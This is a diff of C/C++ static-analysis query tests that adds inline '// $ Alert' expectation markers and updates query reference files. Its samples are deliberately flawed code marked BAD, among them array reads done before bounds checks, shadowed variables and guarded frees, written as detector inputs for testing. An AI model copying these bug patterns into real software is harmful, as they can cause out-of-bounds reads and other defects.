b/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ComplexFunctions/complex.c @@ -11,7 +11,7 @@ void g(void) { f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); } -void h(void) { +void h(void) { // $ Alert f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); f(); diff --git a/cpp/ql/test/query-tests/Best Practices/GuardedFree/GuardedFree.qlref b/cpp/ql/test/query-tests/Best Practices/GuardedFree/GuardedFree.qlref index d64671f08c33..8abe92507f2a 100644 --- a/cpp/ql/test/query-tests/Best Practices/GuardedFree/GuardedFree.qlref +++ b/cpp/ql/test/query-tests/Best Practices/GuardedFree/GuardedFree.qlref @@ -1 +1,2 @@ -Best Practices/GuardedFree.ql +query: Best Practices/GuardedFree.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/GuardedFree/test.cpp b/cpp/ql/test/query-tests/Best Practices/GuardedFree/test.cpp index d52bcef72d16..04b6cc061d4d 100644 --- a/cpp/ql/test/query-tests/Best Practices/GuardedFree/test.cpp +++ b/cpp/ql/test/query-tests/Best Practices/GuardedFree/test.cpp @@ -2,12 +2,12 @@ extern "C" void free(void *ptr); extern "C" int strcmp(const char *s1, const char *s2); void test0(int *x) { - if (x) // BAD + if (x) // BAD // $ Alert free(x); } void test1(int *x) { - if (x) { // BAD + if (x) { // BAD // $ Alert free(x); } } @@ -39,14 +39,14 @@ bool test4(char *x, char *y) { void test5(char *x) { if (x) *x = 42; - if (x) { // BAD + if (x) { // BAD // $ Alert free(x); } } void test6(char *x) { *x = 42; - if (x) { // BAD + if (x) { // BAD // $ Alert free(x); } } @@ -103,7 +103,7 @@ bool test12(char *x) { } void test13(char *x) { - if (x != nullptr) // BAD + if (x != nullptr) // BAD // $ Alert free(x); } diff --git a/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesParameter/DeclarationHidesParameter.qlref b/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesParameter/DeclarationHidesParameter.qlref index c3e02ee7f47d..339ba0c68884 100644 --- a/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesParameter/DeclarationHidesParameter.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesParameter/DeclarationHidesParameter.qlref @@ -1 +1,2 @@ -Best Practices/Hiding/DeclarationHidesParameter.ql +query: Best Practices/Hiding/DeclarationHidesParameter.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesParameter/hiding.cpp b/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesParameter/hiding.cpp index 0b08a0ae612f..4aa7effb0fb0 100644 --- a/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesParameter/hiding.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesParameter/hiding.cpp @@ -1,7 +1,7 @@ void f(int ii) { if (1) { - for(int ii = 1; ii < 10; ii++) { // local variable hides parameter of the same name + for(int ii = 1; ii < 10; ii++) { // local variable hides parameter of the same name // $ Alert ; } } @@ -12,7 +12,7 @@ namespace foo { void f2(int ii, int kk) { try { for (ii = 0; ii < 3; ii++) { - int kk; // local variable hides parameter of the same name + int kk; // local variable hides parameter of the same name // $ Alert } } catch (int ee) { @@ -25,7 +25,7 @@ void myFunction(int a, int b, int c); void myFunction(int a, int b, int _c) { { - int a = a; // local variable hides parameter of the same name + int a = a; // local variable hides parameter of the same name // $ Alert int _b = b; int c = _c; @@ -42,7 +42,7 @@ class MyTemplateClass { template void MyTemplateClass :: myMethod(int a, int b, int _c) { { - int a = a; // local variable hides parameter of the same name + int a = a; // local variable hides parameter of the same name // $ Alert int _b = b; int c = _c; @@ -61,7 +61,7 @@ void test() { void testMacro(int i) { MYMACRO; - for (int i = 0; i < 10; i++) {}; // local variable hides parameter of the same name + for (int i = 0; i < 10; i++) {}; // local variable hides parameter of the same name // $ Alert } #include "hiding.h" @@ -75,7 +75,7 @@ void myClass::myMethod(int arg1, T arg2) { { int protoArg1; T protoArg2; - int arg1; // local variable hides parameter of the same name - T arg2; // local variable hides parameter of the same name + int arg1; // local variable hides parameter of the same name // $ Alert + T arg2; // local variable hides parameter of the same name // $ Alert } } diff --git a/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesVariable/DeclarationHidesVariable.qlref b/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesVariable/DeclarationHidesVariable.qlref index 8f9a1799e066..73e5d81ddce2 100644 --- a/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesVariable/DeclarationHidesVariable.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesVariable/DeclarationHidesVariable.qlref @@ -1 +1,2 @@ -Best Practices/Hiding/DeclarationHidesVariable.ql +query: Best Practices/Hiding/DeclarationHidesVariable.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesVariable/hiding.cpp b/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesVariable/hiding.cpp index 3a96933db7d2..b75dfbd55307 100644 --- a/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesVariable/hiding.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Hiding/DeclarationHidesVariable/hiding.cpp @@ -3,7 +3,7 @@ void f(void) { if (1) { int i; - for(int i = 1; i < 10; i++) { // BAD + for(int i = 1; i < 10; i++) { // BAD // $ Alert ; } } @@ -15,7 +15,7 @@ namespace foo { int k; try { for (i = 0; i < 3; i++) { - int k; // BAD + int k; // BAD // $ Alert } } catch (int e) { @@ -35,7 +35,7 @@ void structuredBinding() { int xs[1] = {1}; auto [x] = xs; { - auto [x] = xs; // BAD + auto [x] = xs; // BAD // $ Alert auto [y] = xs; // GOOD } } diff --git a/cpp/ql/test/query-tests/Best Practices/Hiding/LocalVariableHidesGlobalVariable/DeclarationHidesVariable.qlref b/cpp/ql/test/query-tests/Best Practices/Hiding/LocalVariableHidesGlobalVariable/DeclarationHidesVariable.qlref index 8f9a1799e066..73e5d81ddce2 100644 --- a/cpp/ql/test/query-tests/Best Practices/Hiding/LocalVariableHidesGlobalVariable/DeclarationHidesVariable.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Hiding/LocalVariableHidesGlobalVariable/DeclarationHidesVariable.qlref @@ -1 +1,2 @@ -Best Practices/Hiding/DeclarationHidesVariable.ql +query: Best Practices/Hiding/DeclarationHidesVariable.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Hiding/LocalVariableHidesGlobalVariable/Hiding.c b/cpp/ql/test/query-tests/Best Practices/Hiding/LocalVariableHidesGlobalVariable/Hiding.c index f055d2fff89c..9f4b900239ae 100644 --- a/cpp/ql/test/query-tests/Best Practices/Hiding/LocalVariableHidesGlobalVariable/Hiding.c +++ b/cpp/ql/test/query-tests/Best Practices/Hiding/LocalVariableHidesGlobalVariable/Hiding.c @@ -12,16 +12,16 @@ void f(void) { if(1) { int k; if(1) { - int i; // BAD (hides local) - int j; // BAD (hides local) - int k; // BAD (hides local) + int i; // BAD (hides local) // $ Alert[cpp/declaration-hides-variable] + int j; // BAD (hides local) // $ Alert[cpp/declaration-hides-variable] + int k; // BAD (hides local) // $ Alert[cpp/declaration-hides-variable] int l; int m; int n; - int gi; // BAD (hides global) - int gj; // BAD (hides global) - int gk; // BAD (hides global) + int gi; // BAD (hides global) // $ Alert[cpp/local-variable-hides-global-variable] + int gj; // BAD (hides global) // $ Alert[cpp/local-variable-hides-global-variable] + int gk; // BAD (hides global) // $ Alert[cpp/local-variable-hides-global-variable] } int l; // GOOD (scopes do not overlap) } @@ -34,7 +34,7 @@ int g1, g2, g3, g4, g5; void function1(int g1); // GOOD (the hiding name isn't associated with a code block) extern void function2(int g2); // GOOD (the hiding name isn't associated with a code block) -void function3(int g3) {}; // BAD +void function3(int g3) {}; // BAD // $ Alert[cpp/local-variable-hides-global-variable] void function4(int g4); // GOOD (the hiding name isn't associated with a code block) -void function4(int g5) {}; // BAD +void function4(int g5) {}; // BAD // $ Alert[cpp/local-variable-hides-global-variable] diff --git a/cpp/ql/test/query-tests/Best Practices/Hiding/LocalVariableHidesGlobalVariable/LocalVariableHidesGlobalVariable.qlref b/cpp/ql/test/query-tests/Best Practices/Hiding/LocalVariableHidesGlobalVariable/LocalVariableHidesGlobalVariable.qlref index 0267b31251d3..326ddde08d3e 100644 --- a/cpp/ql/test/query-tests/Best Practices/Hiding/LocalVariableHidesGlobalVariable/LocalVariableHidesGlobalVariable.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Hiding/LocalVariableHidesGlobalVariable/LocalVariableHidesGlobalVariable.qlref @@ -1 +1,2 @@ -Best Practices/Hiding/LocalVariableHidesGlobalVariable.ql +query: Best Practices/Hiding/LocalVariableHidesGlobalVariable.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Likely Errors/CommaBeforeMisleadingIndentation/CommaBeforeMisleadingIndentation.qlref b/cpp/ql/test/query-tests/Best Practices/Likely Errors/CommaBeforeMisleadingIndentation/CommaBeforeMisleadingIndentation.qlref index 02b5f38e358f..97f91b75c951 100644 --- a/cpp/ql/test/query-tests/Best Practices/Likely Errors/CommaBeforeMisleadingIndentation/CommaBeforeMisleadingIndentation.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Likely Errors/CommaBeforeMisleadingIndentation/CommaBeforeMisleadingIndentation.qlref @@ -1 +1,2 @@ -Best Practices/Likely Errors/CommaBeforeMisleadingIndentation.ql +query: Best Practices/Likely Errors/CommaBeforeMisleadingIndentation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Likely Errors/CommaBeforeMisleadingIndentation/test.cpp b/cpp/ql/test/query-tests/Best Practices/Likely Errors/CommaBeforeMisleadingIndentation/test.cpp index dbf792db3383..49040bf6f480 100644 --- a/cpp/ql/test/query-tests/Best Practices/Likely Errors/CommaBeforeMisleadingIndentation/test.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Likely Errors/CommaBeforeMisleadingIndentation/test.cpp @@ -46,10 +46,10 @@ int Foo::test(int (*baz)(int)) if (i) (void)i, // BAD - (void)j; + (void)j; // $ Alert if (1) FOO(i), - (void)x.foo(j); // BAD + (void)x.foo(j); // BAD // $ Alert // Parenthesized comma (borderline example): @@ -157,13 +157,13 @@ int Foo::test(int (*baz)(int)) if (i) (void)i, // GOOD if tab >= 4 spaces else BAD -- can't exclude w/o source code text :/ - (void)j; + (void)j; // $ Alert // LHS ends on same line RHS begins on: if (1) foo( i++ - ), j++; // GOOD? [FALSE POSITIVE] + ), j++; // GOOD? [FALSE POSITIVE] // $ Alert if (1) baz( i++ @@ -175,7 +175,7 @@ int Foo::test(int (*baz)(int)) return i++ , i++ // GOOD(?) [FALSE POSITIVE] -- can't exclude w/o source code text :/ ? 1 - : 2; + : 2; // $ Alert int quux = (tata->titi.tutu(), diff --git a/cpp/ql/test/query-tests/Best Practices/Likely Errors/EmptyBlock/EmptyBlock.qlref b/cpp/ql/test/query-tests/Best Practices/Likely Errors/EmptyBlock/EmptyBlock.qlref index c794984448a1..889bef274a4f 100644 --- a/cpp/ql/test/query-tests/Best Practices/Likely Errors/EmptyBlock/EmptyBlock.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Likely Errors/EmptyBlock/EmptyBlock.qlref @@ -1 +1,2 @@ -Best Practices/Likely Errors/EmptyBlock.ql +query: Best Practices/Likely Errors/EmptyBlock.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Likely Errors/EmptyBlock/empty_block.cpp b/cpp/ql/test/query-tests/Best Practices/Likely Errors/EmptyBlock/empty_block.cpp index 8a8714d310f4..1c6819e36836 100644 --- a/cpp/ql/test/query-tests/Best Practices/Likely Errors/EmptyBlock/empty_block.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Likely Errors/EmptyBlock/empty_block.cpp @@ -6,11 +6,11 @@ void f() { int f(int x) { // BAD: - if (x) {} + if (x) {} // $ Alert // BAD: if (x) { - } + } // $ Alert if (x) { // GOOD (has comment) @@ -18,7 +18,7 @@ int f(int x) { // BAD (comment comes after): if (x) { - } + } // $ Alert // comment // GOOD (exception for loops with block on same line): diff --git a/cpp/ql/test/query-tests/Best Practices/Likely Errors/OffsetUseBeforeRangeCheck/OffsetUseBeforeRangeCheck.qlref b/cpp/ql/test/query-tests/Best Practices/Likely Errors/OffsetUseBeforeRangeCheck/OffsetUseBeforeRangeCheck.qlref index d934901f174f..0e9b8f83382e 100644 --- a/cpp/ql/test/query-tests/Best Practices/Likely Errors/OffsetUseBeforeRangeCheck/OffsetUseBeforeRangeCheck.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Likely Errors/OffsetUseBeforeRangeCheck/OffsetUseBeforeRangeCheck.qlref @@ -1 +1,2 @@ -Best Practices/Likely Errors/OffsetUseBeforeRangeCheck.ql \ No newline at end of file +query: Best Practices/Likely Errors/OffsetUseBeforeRangeCheck.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Likely Errors/OffsetUseBeforeRangeCheck/test.cpp b/cpp/ql/test/query-tests/Best Practices/Likely Errors/OffsetUseBeforeRangeCheck/test.cpp index 0c7baf7b7ffb..2cf1d8e43c69 100644 --- a/cpp/ql/test/query-tests/Best Practices/Likely Errors/OffsetUseBeforeRangeCheck/test.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Likely Errors/OffsetUseBeforeRangeCheck/test.cpp @@ -8,11 +8,11 @@ void test(char *buffer, int bufferSize) while ((i < bufferSize) && (buffer[i] == ' ')) { i++; } // GOOD i = 0; - while ((buffer[i] == ' ') && (i < bufferSize)) { i++; } // BAD + while ((buffer[i] == ' ') && (i < bufferSize)) { i++; } // BAD // $ Alert // check for 'x' if ((i < bufferSize) && (buffer[i] == 'x')) {} // GOOD - if ((buffer[i] == 'x') && (i < bufferSize)) {} // BAD + if ((buffer[i] == 'x') && (i < bufferSize)) {} // BAD // $ Alert if ((bufferSize > i) && (buffer[i] == 'x')) {} // GOOD if ((buffer[i] == 'x') && (bufferSize > i)) {} // BAD [NOT DETECTED] @@ -24,7 +24,7 @@ void test(char *buffer, int bufferSize) if ((buffer[i] == 'x') && (bufferSize >= i + 1)) {} // BAD [NOT DETECTED] if ((i < bufferSize) && (true) && (buffer[i] == 'x')) {} // GOOD - if ((buffer[i] == 'x') && (true) && (i < bufferSize)) {} // BAD + if ((buffer[i] == 'x') && (true) && (i < bufferSize)) {} // BAD // $ Alert if ((i < bufferSize - 1) && (buffer[i + 1] == 'x')) {} // GOOD if ((buffer[i + 1] == 'x') && (i < bufferSize - 1)) {} // BAD [NOT DETECTED] @@ -36,15 +36,15 @@ void test(char *buffer, int bufferSize) // look for 'ab' for (i = 0; i < bufferSize; i++) { - if ((buffer[i] == 'a') && (i < bufferSize - 1) && (buffer[i + 1] == 'b')) // GOOD [FALSE POSITIVE] + if ((buffer[i] == 'a') && (i < bufferSize - 1) && (buffer[i + 1] == 'b')) // GOOD [FALSE POSITIVE] // $ Alert break; } if ((i < bufferSize) && (buffer[i])) {} // GOOD - if ((buffer[i]) && (i < bufferSize)) {} // BAD + if ((buffer[i]) && (i < bufferSize)) {} // BAD // $ Alert if ((i < bufferSize) && (buffer[i] + 1 == 'x')) {} // GOOD - if ((buffer[i] + 1 == 'x') && (i < bufferSize)) {} // BAD + if ((buffer[i] + 1 == 'x') && (i < bufferSize)) {} // BAD // $ Alert if ((buffer != 0) && (i < bufferSize)) {} // GOOD } diff --git a/cpp/ql/test/query-tests/Best Practices/Likely Errors/Slicing/Slicing.qlref b/cpp/ql/test/query-tests/Best Practices/Likely Errors/Slicing/Slicing.qlref index 03280a5c23d9..eb0ac9eff2ea 100644 --- a/cpp/ql/test/query-tests/Best Practices/Likely Errors/Slicing/Slicing.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Likely Errors/Slicing/Slicing.qlref @@ -1 +1,2 @@ -Best Practices/Likely Errors/Slicing.ql +query: Best Practices/Likely Errors/Slicing.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Likely Errors/Slicing/test.cpp b/cpp/ql/test/query-tests/Best Practices/Likely Errors/Slicing/test.cpp index b46c749e70e8..7b28598afee4 100644 --- a/cpp/ql/test/query-tests/Best Practices/Likely Errors/Slicing/test.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Likely Errors/Slicing/test.cpp @@ -10,7 +10,7 @@ struct Point3 : Point2 { void f() { Point2 p2; Point3 p3; - p2 = p3; + p2 = p3; // $ Alert } void g() { diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/Japanese Era/ConstructorOrMethodWithExactDate.cpp b/cpp/ql/test/query-tests/Best Practices/Magic Constants/Japanese Era/ConstructorOrMethodWithExactDate.cpp index 2720aa8f4035..8c11a811cd63 100644 --- a/cpp/ql/test/query-tests/Best Practices/Magic Constants/Japanese Era/ConstructorOrMethodWithExactDate.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/Japanese Era/ConstructorOrMethodWithExactDate.cpp @@ -24,20 +24,20 @@ int Main() { // BAD: constructor creating a EraInfo with exact Heisei era start date - EraInfo * pDateTimeUtil = new EraInfo(1989, 1, 8); + EraInfo * pDateTimeUtil = new EraInfo(1989, 1, 8); // $ Alert // BAD: constructor creating a EraInfo with exact Heisei era start date - EraInfo * pDateTimeUtil1 = new EraInfo(1, 2, 1989, 1, 8, L"\u5e73\u6210"); + EraInfo * pDateTimeUtil1 = new EraInfo(1, 2, 1989, 1, 8, L"\u5e73\u6210"); // $ Alert // Good: constructor creating a EraInfo with another date EraInfo * pDateTimeUtil2 = new EraInfo(1, 2, 1900, 1, 1, L"foo"); // BAD: method call passing exact Haisei era start date as parameters - EraInfo * pDateTimeUtil3 = EraInfo::EraInfoFromDate(1, 2, 1989, 1, 8, L"\u5e73\u6210"); + EraInfo * pDateTimeUtil3 = EraInfo::EraInfoFromDate(1, 2, 1989, 1, 8, L"\u5e73\u6210"); // $ Alert // GOOD: method call with the same parameters in a different order (we only track year, month, day) EraInfo * pDateTimeUtil4 = EraInfo::EraInfoFromDate(1, 2, 8, 1, 1989, L"\u5e73\u6210"); // BAD: constructor creating a EraInfo with exact Reiwa era start date - EraInfo * pDateTimeUtil5 = new EraInfo(2019, 5, 1); + EraInfo * pDateTimeUtil5 = new EraInfo(2019, 5, 1); // $ Alert } \ No newline at end of file diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/Japanese Era/JapaneseEraDate.qlref b/cpp/ql/test/query-tests/Best Practices/Magic Constants/Japanese Era/JapaneseEraDate.qlref index 4240387a36ce..652bac2ede77 100644 --- a/cpp/ql/test/query-tests/Best Practices/Magic Constants/Japanese Era/JapaneseEraDate.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/Japanese Era/JapaneseEraDate.qlref @@ -1 +1,2 @@ -Best Practices/Magic Constants/JapaneseEraDate.ql +query: Best Practices/Magic Constants/JapaneseEraDate.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/Japanese Era/StructWithExactDate.cpp b/cpp/ql/test/query-tests/Best Practices/Magic Constants/Japanese Era/StructWithExactDate.cpp index 7bbf3397ff91..aca98d531851 100644 --- a/cpp/ql/test/query-tests/Best Practices/Magic Constants/Japanese Era/StructWithExactDate.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/Japanese Era/StructWithExactDate.cpp @@ -28,7 +28,7 @@ int main() { // BAD: Creation of tm stuct corresponding to the beginning of Heisei era tm *timeTm = new tm(); - timeTm->tm_year = 1989; + timeTm->tm_year = 1989; // $ Alert timeTm->tm_mon = 1; timeTm->tm_mday = 8; @@ -43,7 +43,7 @@ int main() SYSTEMTIME st; st.wDay = 8; st.wMonth = 1; - st.wYear = 1989; + st.wYear = 1989; // $ Alert // GOOD: Creation of SYSTEMTIME stuct with a different date @@ -57,7 +57,7 @@ int main() SYSTEMTIME st2; st2.wDay = 1; st2.wMonth = 5; - st2.wYear = 2019; + st2.wYear = 2019; // $ Alert return 0; } diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/MagicConstantsNumbers.qlref b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/MagicConstantsNumbers.qlref index 46d0c7be3af2..2e58ec2fd5f8 100644 --- a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/MagicConstantsNumbers.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/MagicConstantsNumbers.qlref @@ -1 +1,2 @@ -Best Practices/Magic Constants/MagicConstantsNumbers.ql +query: Best Practices/Magic Constants/MagicConstantsNumbers.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/a123.c b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/a123.c index f4d259ee5b95..61fc525f5505 100644 --- a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/a123.c +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/a123.c @@ -2,6 +2,6 @@ static void f(void) { int i; - i = 123; + i = 123; // $ Alert } diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/b123.c b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/b123.c index dc4dfd79f8f7..3551b7898d2d 100644 --- a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/b123.c +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/b123.c @@ -1,5 +1,5 @@ static void f(void) { - char str[123]; + char str[123]; // $ Alert } diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/case.c b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/case.c index 73b67768c95a..ad76feb26155 100644 --- a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/case.c +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/case.c @@ -1,7 +1,7 @@ void f(int i) { switch(i) { - case 123 ... 129: + case 123 ... 129: // $ Alert break; } } diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/constants.h b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/constants.h index 7136026997f2..3026ecf39bf2 100644 --- a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/constants.h +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/constants.h @@ -2,7 +2,7 @@ void FUN(void) { int i, j, k; - i = 123; + i = 123; // $ Alert i = 123; i = 123; i = 123; @@ -57,7 +57,7 @@ void FUN(void) { k = 789; k = 789; - i = 0x0078; + i = 0x0078; // $ Alert i = 0x0078; i = 0x0078; i = 0x0078; @@ -88,7 +88,7 @@ void FUN(void) { i = 0x0078; i = 0x0078; - i = 0x01f8; + i = 0x01f8; // $ Alert i = 0x01f8; i = 0x01f8; i = 0x01f8; @@ -119,7 +119,7 @@ void FUN(void) { i = 0x01f8; i = 0x01f8; - i = 278UL; + i = 278UL; // $ Alert i = 278UL; i = 278UL; i = 278UL; @@ -150,7 +150,7 @@ void FUN(void) { i = 278UL; i = 278UL; - i = -129; + i = -129; // $ Alert i = -129; i = -129; i = -129; diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/functions.h b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/functions.h index 43e7b089389b..db7e962a5e4a 100644 --- a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/functions.h +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/functions.h @@ -1,6 +1,6 @@ int myFunction1(int x = - 102 + 102 + 102 + + 102 + 102 + 102 + // $ Alert 102 + 102 + 102 + 102 + 102 + 102 + 102 + 102 + 102 + @@ -9,7 +9,7 @@ int myFunction1(int x = 102 + 102 + 102); void myFunction2( - int p1 = 103, + int p1 = 103, // $ Alert int p2 = 103, int p3 = 103, int p4 = 103, diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/templates.cpp b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/templates.cpp index be73c87951c1..0ee90dc2460c 100644 --- a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/templates.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsNumbers/templates.cpp @@ -1,7 +1,7 @@ template void f(T x) { - 23; + 23; // $ Alert 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 23; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; 'A'; @@ -10,7 +10,7 @@ void f(T x) { void g(void) { int i; f(i); - 25; + 25; // $ Alert 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 25; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; 'B'; diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsString/MagicConstantsString.qlref b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsString/MagicConstantsString.qlref index 9caedcf3cc42..a75d078753d5 100644 --- a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsString/MagicConstantsString.qlref +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsString/MagicConstantsString.qlref @@ -1 +1,2 @@ -Best Practices/Magic Constants/MagicConstantsString.ql +query: Best Practices/Magic Constants/MagicConstantsString.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsString/constants.h b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsString/constants.h index 231fb35a85da..42537352dffd 100644 --- a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsString/constants.h +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsString/constants.h @@ -2,7 +2,7 @@ void FUN(void) { const char *s; - s = "abcabcabc"; + s = "abcabcabc"; // $ Alert s = "abcabcabc"; s = "abcabcabc"; s = "abcabcabc"; diff --git a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsString/joining.cpp b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsString/joining.cpp index 766de394c494..ab0a45454451 100644 --- a/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsString/joining.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Magic Constants/MagicConstantsString/joining.cpp @@ -36,7 +36,7 @@ void fn(const string &str1); void joining_test(const string &x, const string &y) \ { - fn("testrepo.git"); // BAD: "testrepo.git" + fn("testrepo.git"); // BAD: "testrepo.git" // $ Alert fn("testrepo.git"); fn("testrepo.git"); fn("testrepo.git"); @@ -104,7 +104,7 @@ void joining_test(const string &x, const string &y) \ ostream os; - os << "NO T_VOID CONSTRUCT"; // BAD: "NO T_VOID CONSTRUCT" + os << "NO T_VOID CONSTRUCT"; // BAD: "NO T_VOID CONSTRUCT" // $ Alert os << "NO T_VOID CONSTRUCT"; os << "NO T_VOID CONSTRUCT"; os << "NO T_VOID CONSTRUCT"; @@ -170,7 +170,7 @@ void joining_test(const string &x, const string &y) \ os << "writeString(" << x << ")"; os << "writeString(" << x << ")"; // (21 times) - os << "compiler error: no const of base type " + x; // BAD: "compiler error: no const of base type " + os << "compiler error: no const of base type " + x; // BAD: "compiler error: no const of base type " // $ Alert os << "compiler error: no const of base type " + x; os << "compiler error: no const of base type " + x; os << "compiler error: no const of base type " + x; diff --git a/cpp/ql/test/query-tests/Best Practices/RuleOfTwo/RuleOfTwo.cpp b/cpp/ql/test/query-tests/Best Practices/RuleOfTwo/RuleOfTwo.cpp index b28d6c809dab..946d024691b3 100644 --- a/cpp/ql/test/query-tests/Best Practices/RuleOfTwo/RuleOfTwo.cpp +++ b/cpp/ql/test/query-tests/Best Practices/RuleOfTwo/RuleOfTwo.cpp @@ -1,13 +1,13 @@ // NOT OK struct CopyButNoAssign { CopyButNoAssign() : n(0) {} - CopyButNoAssign(const CopyButNoAssign& copy_from) : n(copy_from.n) {} + CopyButNoAssign(const CopyButNoAssign& copy_from) : n(copy_from.n) {} // $ Alert int n; }; // NOT OK struct AssignButNoCopy { - AssignButNoCopy& operator=(const AssignButNoCopy& assign_from) { return *this; } + AssignButNoCopy& operator=(const AssignButNoCopy& assign_from) { return *this; } // $ Alert }; // OK: 